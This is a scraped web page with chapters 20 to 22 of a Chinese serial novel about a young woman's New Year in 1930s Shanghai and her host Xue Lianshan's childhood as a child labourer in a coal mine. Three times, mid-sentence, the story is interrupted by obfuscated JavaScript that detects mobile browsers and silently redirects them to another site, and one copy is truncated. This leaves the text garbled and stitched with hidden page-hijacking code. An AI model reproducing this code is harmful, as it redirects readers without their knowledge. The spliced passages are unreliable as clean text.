他出去了也好,金雪池预备给金文彬烧点纸,不想让他看见。临近年关了,街上很多摆摊卖纸钱的,她买了一大沓在十字路口上烧,被烟熏得直流眼泪。遂跑去捡了根更长的树枝,远远站着扒拉,一大版符纸翻过来,又把火压熄了。擦燃一根洋火重新掷进去,火焰重新腾起,滚滚浓烟裹挟着无数灰烬扑面而来,烫得她猛抖了抖手背。 金雪池最终带着一身烟气和袄子上的几个洞回来,立刻把外套挂在阳台上晾着,又洗了头。几个小时后薛莲山才回来,往餐桌前一坐,冻得默默搓手。 “走的时候说一下就回,结果晚了这么久!”宋妈一边念叨,一边把菜端出来,“我反复加热了好几次。” 薛莲山笑道:“对不起。其实你们可以先吃,金小姐也久等了。” 金雪池确实快饿死了,但很矜持地摇了摇头。没吃几口,外面忽然传来几声急促的汽笛声,有人在大喊:“老薛!” 薛莲山撂了筷子,打开大门,站在台阶上观望;五六名家丁已经从洋楼边上的小平房里冲到院门口了,见是二少爷,连忙拉开院门。邵子骏一脚油门冲进院内,跌跌撞撞下了车,跑过去抓住薛莲山一条胳膊,上气不接下气,因为下颌骨受了伤,话也含糊不清:“邵子驹......他要......” 另一辆别克紧随其后平稳驶来,院门砰地一声重新落了锁。邵子驹也不硬闯,只是下来说话:“薛莲山,家务事你也掺和?” 金雪池站在薛莲山身后,探出半个脑袋观察邵子驹。他比他弟弟的面部更方正一些,猴感不重,但也不是好面相,不管是过近的眉眼间距还是高颧骨都显露出几分煞气。此人穿长衫、拄手杖,可见是不需要亲自打架的。 “是你的家务事自己跑到我家来了。” “那你把子骏交出来。” “哎,什么话。”薛莲山笑眯眯道,“子骏这么大的人了,具有完全的民事行为能力,他爱往哪儿走就往哪儿走,我是没权利把他交出来的。我只有关自家大门的权利。现在我把门关上了,请回吧。” 他说完便进了屋,示意宋妈继续招呼金雪池吃饭。邵子骏一屁股坐在沙发上,捂着自己的下巴——他的伤势看上去看上去相当严重,半张脸都肿起来了,血流了一脖子。 薛莲山瞅了他几眼,跟家庭医生打了个电话。把听筒按回去,他远远站着说:“听说下颌骨骨折的,愈合后脸会不对称。” 20.烟花 “老薛,不是所有男人都像你一样在乎外表的。” “左右脸不对称已经超出‘在乎外表’的范畴了。”薛莲山道,“你怎么回事?” 邵子骏悠悠叹了口气,那张非常年轻的脸上浮现出了深沉的神色。这神色一出来,不用说,他肯定自认为没错。 事情是这样的:上个月开始,邵子驹让他每周五去码头上给一艘小渔船装货,表面上装货,实际上得把货箱编码、重量都记录下来,且需要秘密地去。这本来没什么,青帮中走私的活动很多。但是他发现帮会中其他长辈似乎对此事不知情,就怀疑邵子驹是在帮日本人点货。 点就点吧,他反正也只能听命于邵子驹,但总是有点不爽。上周五去码头之前喝多了,行事也就没个考量,直接把两箱子踹到黄浦江里去了。 “就是日本商社的货,那个山月商社。妈的,也不知道在偷偷摸摸运什么东西。今天上午他们就找到家里来了,过年么,家里还有很多人拜年呢,我说我那天是喝多了,邵子驹当着人就拿茶壶砸我。” “然后呢?” “然后我还手了!我下巴都断了,那我铁定还手啊,我就在他眉骨上砸了个豁口,还误伤到了一位客人——一个老头,躺地上抽抽。你没看到邵子驹那个表情,他把枪都掏出来了!” 宋妈这时候送了个冷水浸过的厚毛巾来,他往伤口上一敷,痛得嗷得一叫。薛莲山道:“你自个儿敷着吧,医生马上来,我陪金小姐去了。” “你能不能有点良心?金小姐只是在吃饭,我可是下巴都断了啊!” “我够有良心了,早知道你惹这么大祸就不该放你进来。我问你,你把两个箱子踹江里有什么好处?那么多箱都运过去了,差你这两个?” “我喝多了!” “那更是活该。老头是什么人?” “教育局的。” 薛莲山“哈”了一声,掉头就走。 家庭医生不到十分钟就上了门,先给他打了一针吗啡,然后上手复位,金雪池在二楼都听得到惨叫。复位成功后,外敷一层活血药物,再用弹力绷带把整个脑袋紧紧捆起来,使其上下颌紧闭。一个月内,不要说话,不要刷牙,吃饭也只能塞一根吸管进去吃流食。 当晚邵子骏疼惨了,什么也没吃下去,打了镇静剂才昏昏睡了一觉。第二早醒来半边脸肿胀发紫,嘴里都是血腥味儿,痛不欲生,打算找薛莲山卖个惨。薛莲山一直在接电话,挂了后,指着他的鼻子斥道:“老头还在抢救,我现在出门给你擦屁股。” 邵子骏就不好意思卖惨了,待他出门后,疼得坐立难安,就去骚扰金雪池。 倘若在自己家,金雪池能睡到大中午,但既然是做客,她很矜持地八点就醒了,假模假样地拿下学期的课本出来温习。谁大年三十还学习呢?所以也没看进去。 吱呀一声,邵子骏一把推开了书房门。他披着薛莲山的一件海虎绒大衣,衣摆都拖到膝盖上了。 金雪池原来对此类混混敬而远之,但看他现在包得像洋葱、又肿得像猪头,也不是很怕,自若镇定地查单词做笔记。他的牙齿间仅够塞进去一根吸管,现在没塞吸管,他就塞了一根烟;大摇大摆走进来,东翻翻、西看看。 金雪池被熏得头疼,以及不是很希望他翻自己的笔记本,试图把他的注意力吸引走:“二少爷,你最好还是别抽烟。” 邵子骏翻笔记本的动作没被打断,反而拔开笔盖,直接在上面写丑字:小伤。 她无声地倒吸一口凉气,把草稿推到他面前。他还真一屁股坐在床上,跟她交流起来:三十不出去玩? “外面有点冷。” 冷不要仅,有边炮、烟花卖。要不要? “谢谢,不用了。” 走了,我带你去买。我知道一个地方卖“地老书”。 金雪池是真不想跟他相处,然而他敲一敲桌子,径直出了书房。她还站在那里盘头发,他又回来勾了勾手,意思是赶紧的!比起带金雪池去买,明显是他自己更想玩。 两人在大门口跟薛莲山撞了个正着。金雪池简直见到了救星,虽没有动,然而朝他露出了一个清亮亮的笑容。薛莲山微微张开嘴,随即也笑了,在她的小刘海上拍了一下。 随即对邵子骏不耐烦道:“不要骚扰金小姐!赶紧换一套衣服——哦,你没带衣服来,就把昨天那件染血的穿上吧,惨兮兮的也好。跟我去给熊老的儿子赔个罪。” 邵子骏连比带划,嘴里呜呜出声。 “大少爷不在,他昨晚就在医院,早上他走了我才去的。” 两人又出去大半天,下午才回,邵子骏饿得可以吃下一头牛,然而只有米糊给他吃。家庭医生上门换药的时候,他连挣扎的力气都没有了,只是一声长过一声地呻吟,浑身直冒冷汗。绷带取下来后,半张脸可以说是惨不忍睹,而且面部肌肉一直在抖动,不知是疼的还是神经受损。 金雪池本来在不远处好奇地观摩,后知后觉到不礼貌,就悄悄溜了。她一走,邵子骏一闭眼睛,疼哭了。 “哎,子骏,子骏。”薛莲山握住他的膝盖晃了晃,“定青刚刚出门,猜猜我让他去买什么了?各种烟花都买一份,高空烟花也有,‘天女散花’‘九龙戏珠’之类的,租界不让放,我带你们去江边放。还是你想去上海大世界看表演?” 邵子骏一吸鼻子,含混道:“你问金小姐吧。” “金小姐爱说‘都可以’。” “那我们去放高的。” “好。”他站起来帮家庭医生把邵子骏的头固定住,顺带着在他后脑勺上轻轻一拍,“一会儿我让宋妈给你弄吃的,加点果泥进去,香的辣的你是吃不到了,好歹能尝点甜的。” 换完药,邵子骏就在房里有气无力地躺着,闻到了年夜饭的香气只会更难受。薛公馆人不多,为了让氛围热闹一点,薛莲山把所有佣人都叫过来同桌吃饭,这样也才凑满一个大圆桌。 他的摩登程度已经相当严重了,过年不回家、不祭祖、不祭灶神、不办年货,完全要和古中国那馨热、吉祥的氛围割席。除夕在薛公馆里,只是一天寻常的假期。唯一一点年味儿全在饭桌上,为了照顾她,做了卤水鹅头、牛肉丸、打冷及各种蒸炸煎炒海鲜,把潮州鲜香精美的年照搬过来。 甚至还有各类粿品。“粿”是一种潮州特色美食,指用米粉、面粉、薯粉等经过加工制成的食品,祭祖必要用、年节必要吃,家家户户都会做,金文彬就会。她没料到在离开家乡后还能吃到。上海肯定没有这种食物,是他托香港的朋友千里迢迢寄过来的。 他也不邀功,他知道她都明白。 但如果他邀个功,金雪池才有机会告诉他:其实我不喜欢吃广东菜。 饭后,他带着邵子骏、金雪池外加一个定青出发去了华界。带定青是怕不安全,他们是惯于在租界行动的,华界则聚集了太多穷人、流浪汉,路况也比较差,车不好开。金雪池感觉定青的定位类似于保镖,因为他配枪,平日里存在感较低,有事又能第一个闪出来。 想来真是可悲,在自己的国土上,外国人的地盘更安全。 后备箱里的烟花有很多种:在地面旋转发光的“地老鼠”,手持的“滴滴金”,最常见的爆竹,等等等等。金雪池倒是兴趣不大——这哪里比得过广东过年的排场,每年放鞭炮放得像打仗。邵子骏兴趣大得很,点了火还不肯走,要到烟花炸开的前一秒钟才后撤。 薛莲山给金雪池使了个眼色,好笑地看他,“你猜他多大?” “可能就比我大两三岁。” “猜得好准呀。” “我一向猜得准。”金雪池把手笼进袖子里,躲在他身后避风,然而不贴着,虚虚隔着几寸,“为什么大少爷下这么重的手?倒像是仇人了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047800|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“其实他们就是三天两头断胳膊断腿的,邵子驹过去被邵老爷子这么使唤,现在混出头了。子骏比他小很多,又比较莽,在他手下只能当个领头的打手。若不论他们是兄弟,犯下这种错误,揍一顿也正常。” “问题就是他们是兄弟呀。” “兄弟这种东西......”薛莲山回头瞥她一眼,笑道,“我回家跟你说,江边风大,小心喝冷风。好,我们把高空烟花拿出来放了。” 来的路上金雪池已经看到了不少烟花,富贵人家在院子里放的,广场上放的,完全抵不上现在她看到的震撼:光束像被发射的炮弹一样扶摇上天,砰地炸开、在夜幕上绽出彩色图案。仰头望天,只觉得脚下旋转、天空高远,身体在眩晕中变得很轻盈。浩浩乎如冯虚御风,而不知其所止;飘飘乎如遗世独立,羽化而登仙。 而在东方巴黎的基底下、在十里洋场的红尘中,还生活着真正的、绝大多数上海人。他们打渔、拉车、扛包、纺纱、叫卖、拾荒,手胼足胝,沉默而颤抖地托举起这座傲慢都市。 不足十平米的亭子间里,一家八口围着炭盆取暖,汗味、霉味、孩子的尿骚味混杂在一起;苏州河畔,破木板、烂油毡搭成“滚地龙”,经不起几场雨打风吹;工厂的通铺上,几十个包身工忍受着横行的虱子和疲乏困顿。 然而伴着渺远的呼啸,无论是江边这一行人、还是他们,都不约而同地抬起了头。 天涯共此时。 没过多久,又有其他人家争相放出高空烟花,一枚能花去普通家庭半个月的生活费。薛莲山也就买了五枚,无意与他们攀比财力,抓着邵子骏回家了。 在室外待久了,手、脚和脸都冻得麻木,刚进室内时,只觉得暖风搔得面皮痒痒,却不能钻到体内去、活络僵冷的肉和血。金雪池立刻洗了个热水澡,换上睡衣,欣然钻到被窝里去了。几秒后,她又把放在桌上的春带彩捞进被窝里,焐着它一点点变暖。 没多久,薛莲山端着托盘进来,上面搁了一盘红桃粿和一杯热牛奶。他用左手把盘子抵在腰上,右手正拿着一块红桃粿吃,朝她笑了笑,“我还挺喜欢吃这个。” 于情于理,金雪池都不该穿睡衣坐在床上跟外男说话,但薛莲山就是有一种让人舒服的魔力。她现在就很舒服,生理上,刚洗了热水澡,穿上了宋妈准备的纯棉睡衣,置于馨香蓬松的被窝里;心理上,她知道他比她年长,是主动要爱护她、照顾她的。 金雪池就没有动,垫了个枕头在背后,又朝他咧开嘴角笑了笑,“其实你不用做那么多广东菜,我没有很爱吃那些。” “那你爱吃什么?” “咸面包,炸土豆。” “好西方的胃口。” “没有你西方。你真不回老家?不回的话,好歹也摆上祖宗牌位祭一祭吧。” “我对我那个家仁至义尽了,堂前尽孝,屋后不必往来。” 金雪池长长地“唔”了一声,倚在枕头上望他;灯光照在她年轻紧致的皮肤上,像琥珀,又像蜜蜡,金灿灿的,比白皮肤还好看。薛莲山一时没忍住,倾身在她脸上亲了一口。 这回她没有擦脸,只是往后挪着坐了坐,把话题扯开:“其实我一直很好奇,你在家里是怎么......就是说,你的出身并不好......” 薛莲山把托盘搁在她腿上,撑在床边坐着,“你猜猜,我有一个哥哥、一个弟弟,都是嫡出的。” “你哥哥看着很不像话,而且身上有鸦片烟的味道,那就更不能成事了。弟弟大概很小?然后在某一个时间节点,令尊出了点什么状况,薛大哥又靠不住,只好是你站出来。” “又给你猜了个七八分出来!这些话我其实从未跟别人说过,现在不得不跟你说,免得以后靠你猜出来,那就更丢人了。”他回忆了片刻,慢慢道,“我爹是徐州乡下的一个乡绅,拥有一座煤矿......” 21.矿上 薛老太爷是徐州乡下的一个乡绅,拥有一座煤矿。 这座煤矿是薛老太爷的爹传下来的,薛老太爷的爹又是从他的爹那里继承的,总之,薛家世世代代吃着这口矿,既没有不肖子孙败光家产,也没有才俊子弟有所作为,这座矿渐渐地快要被挖干净了。不过,不是还没挖干净嘛! 于是薛老太爷风风光光地取了本地商贾的女儿郗氏为妻,得了一大笔陪嫁,两人又能风光好多年。 郗氏是个很厉害的女人,为他生下一个白白胖胖的儿子后,更厉害了。薛老太爷怕她,但这并不妨碍他在外面寻花问柳——薛家在传承这座矿的同时,也传承着爱女人的基因。 他的相好之一是个来自扬州的姑娘,没有名字,因为出生于一个叫做莲山村的村庄,大家叫她莲山妮儿。莲山妮儿意外怀了孕,不舍得打掉孩子,就一个人将孩子生下来了。还是个儿子。她无意用儿子去要挟薛老太爷娶自己进门,她只是想要这一个孩子。 离开薛老太爷后,她靠卖牛皮糖养活儿子。牛皮糖有很多口味,松子、花生、山楂,一种口味的用一张大油纸包起来,挑在扁担的一头,儿子挑在扁担的另一头,就这样走街串巷。谁想买,就在门口吆喝一声,她放下扁担切糖、称重,顺便把沾了糖的手指递到儿子口里,让儿子有滋有味地吮吸上一会儿。 一开始,前头重、后头轻;两年后,两头一样重;再往后,后头重、前头轻。儿子长得真快,她挑不动他了。 于是牵着走,小孩子腿短步幅小,走了半天,才过三条街。糖没卖出去几片,儿子走累了,撅着屁股要蹲下来。她不断地拽他的手,催促道:“再挪几步,再挪几步就吃饭!哎,不哭不哭,给你唱歌——” 她原来就是靠在茶馆里唱歌让薛老太爷相中的,最会唱一首叫《茉莉花》的民歌: 好一朵茉莉花呀,好一朵茉莉花 满园花开香也香不过它 我有心采一朵戴 看花的人儿要将我骂 儿子哼哼唧唧的还是累,也不懂她是什么用意,反正她唱,他就拍自己的肚子来打节拍。她把他抱起来,吻他的面颊、小手、肚子,几乎垂泪,因为知道自己有世界上最可爱、最乖巧的宝贝,这样的好宝贝却要跟她过苦日子。为什么当初要生他下来呢? 孩子五岁那年得了水痘。徐州有个偏方,给得水痘的孩子吃花椒狗肉,很快就可以消下去。她买不起肉,当天挑着担子在狗肉摊边站了大半天,等有人买了,连忙追上去,求对方割下一小块。怕对方不信,还把躲在背后的儿子拉出来——这孩子从小就特别臭美,脸上长了水痘,不肯见人。 “给我们一块吧!”她央求道,“都是做娘的......我也是实在没办法啦,我连一块猪皮都买不起......孩子爹不管我们......” 对方给了她一块,她连忙往儿子嘴里塞,儿子紧紧闭着嘴,含混不清道:“你吃。” “给你治病用的。” “长水痘,不管它,它自己也能消下去,不是什么病。你吃。” 这孩子只有五岁,还生着病,却能抵御住过年才能吃到的肉的诱惑,任她好说歹说也不动摇。这么好的孩子,跟了这么坏的娘,自私地把他带到人世间来,还不给吃不给穿的。下辈子不要当母子了,我在地狱受惩罚,你投生去富贵檐下。 好景不长,在这个孩子六岁的时候,她因积劳成疾得了病,眼看就要死了。万般无奈之下告知了薛老太爷此事,望他收留这个孩子。 薛老太爷就给这孩子取了个大名——薛莲山。 在薛莲山长大后,很多人问:令尊是不是信佛,或者有诗文修养,以至于起了个这么有禅意的名字?其实纯粹是无心栽柳。倘若他娘出生在杏花村,他就会叫薛杏花;倘若他娘出生在牛栏村,他就会叫薛牛栏。 薛老太爷取名字取得随意,也是摆明了不会把他带回家的,郗氏闹起来怎么办?然而他也不好意思把薛莲山安顿在亲戚家里,多不好意思,在外面玩出个儿子来了! 他于是一拍脑袋,废物利用,把便宜儿子送到了矿上。 薛莲山于是在六岁那年开启了他的童工生涯。 那时候法律不规范,穷乡僻壤的矿山更不规范,埋一具尸体,几百年都不会有人管。基于煤矿的特殊性质,童工被很多矿主视作是必要的。譬如,在煤层厚度不足四尺的区域,成年人需匍匐作业,而童工可直立或半蹲开采,效率高很多。再譬如,有些废弃巷道会因顶板沉降变窄,需要童工携带煤油灯爬行进入,探查是否有残存煤炭或瓦斯泄漏。又譬如,无机械通风的老矿依赖“风障”导气,童工需在风障间隙里移动木板,调节风向。 童工是一群黑黢黢的小野兽,衣服不知道要洗,鼻涕不知道要擦。薛莲山有一点薄弱的卫生意识,知道要洗脸,但他也洗不干净,眼角、耳道和鼻孔里总是黑乎乎的煤渣。 成年工友们喊其他小孩子“黑团”,因为他还有白的地方,喊他是“黑洞”。薛莲山很憎恶这样的外号,除非喊他大名,否则他装听不见。但是使唤他干活,装听不见是没用的,工头从后踢他一脚,他还是只能应声。 大人们心情好的时候,会照顾一下小孩子,多打一勺稀饭、帮忙铰个指甲洗把脸。他们还教唱歌,有矿上流传的歌:“头道窄,二道宽,霍倒三道腰腿酸,有心不下这班窑,哪有豆饼掺麦苗!” 一股子自怨自艾的味道,越唱越穷,薛莲山不喜欢。 还有讲历史故事歌:“九里山前作战场,牧童拾得旧刀枪。顺风吹动乌江水,好似虞姬别霸王。” 相传徐州是楚汉鏖兵的战场,留有项羽兵败的白云洞。可帝王将相的故事,跟他有什么关系呢? 有讲清末大刀会丰功伟绩的:“一弹弹,二玩玩,庞三杰,打丰县。打开丰县进当典,进了当典要盘缠,要了盘缠向西南。” 这庞三杰出生于小康之家,还是个秀才,急公好义,组织了自己的地方武装除恶扬善;后追随孙中山讨袁,遭刺杀而死。这个人好,草莽英雄,死得也好看。 薛莲山决心要当个英雄。后来想了想,英雄一般要运用暴力,但他讨厌暴力,算了。他讲文明,但那会儿他的认知中并没有一个可以形容文明而有成就之人的词,只能自己幻想,而无法向别人表达。 总之他最喜欢的歌还是茉莉花,不知道这些人怎么不唱。长大后才知道娘不是徐州人,是扬州人,和这种大煤山不一样的,大煤山里不开茉莉花。 他还主意多,有时能偷到半张饼回来,有时能关注到哪个伙伴中暑了,孩子们都乐意跟他玩。他享受被伙伴们喜欢的感觉,但对这帮鼻涕都擦不明白的傻孩子,也不太瞧得上。倘若和他们说话,只会得到啼笑皆非的回复,还不如不说。 于是他认了老鼠当自己的好朋友,至少他对老鼠的智力没有期待。 井下的老鼠,对冒顶、塌方、涌水、瓦斯都极为敏感,会提前发觉并及时跑路。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050489|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且由于久居于此,对于各条道路烂熟于心,可以在第一时间找到正确的逃跑路线。矿上的潜规则是不打老鼠,它们大摇大摆,说明一切安全;它们倘若吱吱叫着逃窜了,那赶紧跟着跑吧! 因为受了矿工们几片菜叶子、几粒苞谷的恩惠,这些老鼠也不怕人,直往人身上爬。有时候薛莲山弓腿坐着,把老鼠放在自己的腿和肚子之间,跟它说悄悄话:“你觉得死后能重投胎,是真的还是假的?” 老鼠耸动着小鼻头和胡须。 他若有所思道:“如果是假的,我就不能死了。如果是真的,我也要晚一点再死,二十二岁再死,下辈子继续跟我娘当母子。” 因为既有充足的食物来源、又无天敌,那老鼠生了一身油光水滑的皮毛。而他的胯骨支棱,腹部微微下陷,刚好够那只老鼠舒舒服服地卧着。他伸出一只因积年累月不见天日而灰白的手,轻轻抚摸老鼠,心里涌动着哀恸:长到二十二岁是多么遥远的事情! 初来时,他还能当风孩儿,但由于长得很快,很早就被分去拉煤车。主巷道的煤车可以用骡马运输,但支巷太小,骡马进不去,就需童工来充当小骡马。他们两人一组,腰间先缠一圈破布,再系上铁链,半爬半走地拉车,每天能拉七吨。晚上下了矿,解开布条一看,每个人的腰都磨掉一层皮。 薛莲山这时候就爱说:“不要唉声叹气!等我回了家,我会给你们每个人发很多饼。” “为什么?” “因为——我是矿主的儿子。” “你骗人的吧?” “等着看吧。”他说,“我在找人打听路线,等我准备好了,就逃出去,去找我爹。” 然而这是何等艰难,矿山离薛家太远了,又没有人帮他的忙。第一次出逃失败,被抓回来打了一顿。第二次倒是逃出了矿场,但因为常年在黑暗的地底工作,他的视力发育得很差,到了陌生的地方,完全看不清楚路况。自己走了两天,迷了路,灰溜溜地原路返回,又挨了打。 薛老太爷听闻了这些事情,觉得留下他后患无穷。正好有一个废弃的老矿道快塌了,承重柱都断了,他找到工头商量几句,安排了薛莲山和另外三个孩子进去捡小煤块,又在地面上鞭策着牛拖着一板车货物走过去。 轰的一声,矿道塌方了。站在巷道中间的三个孩子被压得骨头碎成渣子,不知道是谁的眼珠被挤出来,滚到薛莲山脚下。他因为正贴着巷道尽头站,躲过一劫,呆呆地看着那只眼珠子,他哭都不敢哭。因为听到牛叫。这种老巷道下面有人的时候,是严禁牛和骡子从上面过的。为什么呢? 在十三岁那年,他成功地回到了薛家。 他没有直接报姓名,只说是薛老太爷的旧相识。丫鬟于是把他领进了屋,他一看薛老太爷表情不对,扭身就跑,一边跑一边叫。 薛老太爷欲拦腰把他拖回去,然而郗氏已经闻声出来了。他一见她,扑通一声便跪下磕头,连声喊“娘”,尽管心里知道这个不是他亲娘。喊着喊着眼里就有了泪,不止因为屈辱,还因为为了好生活主动喊别人叫娘。亲娘要是知道了,会不会恨他没良心呢? 郗氏咬牙切齿地把他留下来了。 到底是薛家的种,长到这么大,长手长脚、模样也好,还留在矿上不是个事。但让他跟自己的亲儿子薛兆荣平起平坐,那也是不能够的。于是就形成了一种诡异的局面:大家都喊他一声“山少爷”,但他做着下人的工作、吃着下人的饭菜、睡着下人的大通铺。 22.山少爷 幸运的是,荣少爷正在读私塾,缺一个研墨、抄书的书童,薛莲山就当了他的书童,趁机学会了识字算术。 一段时间后,郗氏认为他聪明、利索,允许他上桌和家人们一起吃饭。在这张桌上吃到的菜,和跟下人们一起吃到的菜,那是天壤之别。薛莲山又正处于长个子的时候,白天馋得要命,晚上骨头疼,每过几周,就觉得裤腿又短了一截。尽管进食的渴求每晚要在他的骨头里毒发一次,他也懂分寸,只拣自己面前的一盘菜吃。 快长高吧!他夜里揉着自己的膝盖,无声地祈祷:长得顶天立地才好。他们再让我往洞里钻,我都钻不进去。 只有那么一次,薛老太爷和郗氏在饭桌上吵架,看起来谁都没有注意到两个孩子在干什么。桌上有一盘糖渍番茄,专门用来给小孩子解暑用的,蜂蜜在番茄皮上亮晶晶的一层。荣少爷已经拈了三片走了,他观察片刻,半蹲半站起来,也伸长胳膊去够。 郗氏正在气头上,一看到一只瘦长的手伸到自己面前,心里无名火起,抄起筷子就往他脸上打了一下。 薛莲山就若无其事地缩回手,继续扒白米饭吃,很快,脸上浮现出两条红肿的筷子印。吃完饭,他去洗碗,下人们都看到他脸上的印记了,窃窃地笑着。他是从小就好面子的,咬着后槽牙,并不理睬他们;直到回了屋里、趴在铺上,才无声地哭起来。 寄人篱下!还不如自食其力去拉煤,起码自己挣钱自己吃。在薛家,他倒成了个要饭的,吃饭要看人脸色。 几个小时候,下人们陆陆续续回来了。他这一条铺睡男下人,拉一道帘子,另一边就睡女下人。所有下人都听命于一个叫汪妈的大娘,她是荣少爷的奶妈,因此地位奇高,也能和主子们同桌吃饭。这结实粗壮的女人走到他旁边,大声喊:“山少爷。” 因为满脸都是泪,薛莲山把脸埋在枕头里,装睡不理她。几秒钟后,汪妈在他枕边放了一个在井里冰镇过、仍然冰冰凉凉的大番茄。 第二天天不亮,屋里都是此起彼伏的呼噜声,他收好自己的包袱,回了矿上。 伙伴们都很惊讶:“你不是回家当少爷了吗?” 薛莲山脸上发热,也有点烦他们——过不好才会回来,这有什么可问的?他一声不吭地把少爷皮拔下来,往腰上缠布条。中午大家一起在地下用咸菜配馒头吃,因为吃饭挨了打,他恼羞到现在,故而不肯吃,只揪着馒头一点点喂老鼠。 临近傍晚时,工头让孩子传话下来:有薛家来的人找你。 周围的孩子听了,一片叹声,原来他重要到了需要遣人来找的地步,是个货真价实的少爷!他们提起嘎斯灯去照薛莲山,他上身的汗水在灯光下显得油津津、亮汪汪的,给苍白的肤色涂了一层金漆,使他像个塑像,决绝地死在了残阳晚照的乌江畔旁。 他很有尊严地说:“告诉他们,我不回去了。” 伙伴们一时被这种气魄震慑住,劝也忘记了劝。那个小孩如猴子般爬上去回话,二十多分钟后,又下来说:“她说,你再不上来,她就走啦!” 薛莲山顿了一顿,自言自语道:“我倒要看看他想干什么!”脚步却是越走越快,三级梯子一脚蹬。脑袋冒出矿井时,他发现这是个很亮的夜晚,东山上伏着一轮巨大的明月,洒出遍野银辉;天空也不是纯黑的,而是幽幽发蓝,比起一块蒙在硬板上的布,更像蕴藏无限的海洋。 汪妈正两脚叉开站在井边,是一个稳固的姿势,雌兽都这么站在大地上。薛莲山只有一个脑袋冒出了井,呆了呆,他以为薛家会派一个男下人来找,因为路途遥远。 “是娘让你来找我的?” “不是。”汪妈言简意赅,“走吧,你再不走,过了这村没有这店了。” “那我不回去。” “傻子,卖力气有什么出息?回了薛家,你能写几个字,日后能为荣少爷当个账房,也算你的造化了!” 薛莲山一声不吭地爬出来,因为害怕被人看到,所以走得很快,汪妈都有点追不上他。等到半夜,因为干了一天活又没吃饭,他开始脚步虚浮,没看清地上的一块石子,绊了一跤,扭伤了脚。 汪妈绕到他身前,在他大腿上一托,把这个比自己高一个头的男孩背起来了。他没有道谢,只是僵硬地用手扶着她的肩膀,撑着自己的上半身,保持一两寸距离;渐渐地,完全趴在了她背上,手也往前伸,搂住她的脖子。他们朝着月亮走,好大一轮月亮。 他小声说:“等我长大了,把你当亲娘孝敬。” 汪妈嗤道:“我不图你这个!你这么小,好好长大再说吧。” 就这样,他又重新回到薛家,当起不伦不类的山少爷。郗氏又生了个孩子,取名为薛兆赫。赫少爷刚刚当上少爷,地位就超过了山少爷,薛莲山像半个奶妈似的,又给他换尿布、又哄他玩,让郗氏很是满意。 变故发生在他十七岁的那一年。 此时薛兆荣已经二十多岁,因为郗氏挑谁家的姑娘都觉得不满意,迟迟没给他娶妻;他也就无事可做,和他爹一样,出门寻花问柳。当时他爱上了一个唱昆曲的女伶,戏班子在哪演出,他就追到哪里去,成日不回家。另一个姓严的少爷也在追求这女伶,他是一个小军|阀的儿子,早看薛兆荣不爽了。某日二人起了肢体冲突,他直接唤来几个大兵,绑走了薛兆荣,然后给薛家写信要二十万。 薛老太爷一气之下,中风了,除了眼珠子能转以外,浑身都没法动弹。 薛家上下慌了神。长期泡在鸦片的烟气里,所有人都昏昏欲睡,突然惊醒后,一查账,发现家底已经快亏干净了;想卖掉矿山,又发现那矿已经挖空了!把所有能典当的皮货、家具、珠宝典当掉,把存在钱庄里的现金全取出来,细细一数,总共也才十三万。 薛莲山就在这时候站出来说:“把钱给我,我有办法凑齐二十万。” 郗氏本能地知道不能把钱给他,他到底是个外人,无论对薛老太爷还是薛兆荣都没有感情。她只命令他把家看好,自己跑回娘家借钱。借了一圈,嘴皮子磨破了,脸皮臊穿了,也才借到两万多。 这段时间里,薛莲山安之若素,给薛老太爷端屎端尿、喂药喂饭,把一个又高又重的瘫痪病人照顾得干干净净,伺候得浑身舒泰。薛老太爷这会儿风骚不动了,只能躺在床上跟儿子大眼瞪小眼,想起自己的所作所为,就忍不住留下几滴泪来。 郗氏回来后,看到这凄楚的境况,也是眼泪长流。她把薛莲山叫道自己的房里去,给了他一把钥匙,郑重道:“钱全在柴房里,我给你了。你现在是薛家唯一能顶事的男人了,知不知道?” 薛莲山点点头,转身要走,郗氏又猛地拉住他的衣摆,身子跟着往前一滑,跪下了。 他赶忙把她拉起来,拉不动,一位母亲的乞求有时候是比泰山更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061415|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重的,只好对着她跪下来了,“娘。” “山少爷,你不要忘记......是我把你留下来的啊!” 他把头磕到地上,喃喃说:“我不敢忘。” 拿到钱,他雇了几个镖师,把现金全存进城里的银行。薛老太爷不信任这种新兴的方式,他倒觉得银行好得不得了。银行给他开了一张上海分行兑付的汇票,到时候能直接在异地取出来。 又以薛老太爷的名义写信给上海的几家五金厂,说最近又掘出了一口高品位新矿,愿意和他们谈谈合作。随后便亲自去了上海,花钱做了一身得体的衣服、雇了两个白俄保镖,再用发胶把头发往后一抹,已经人模人样了。 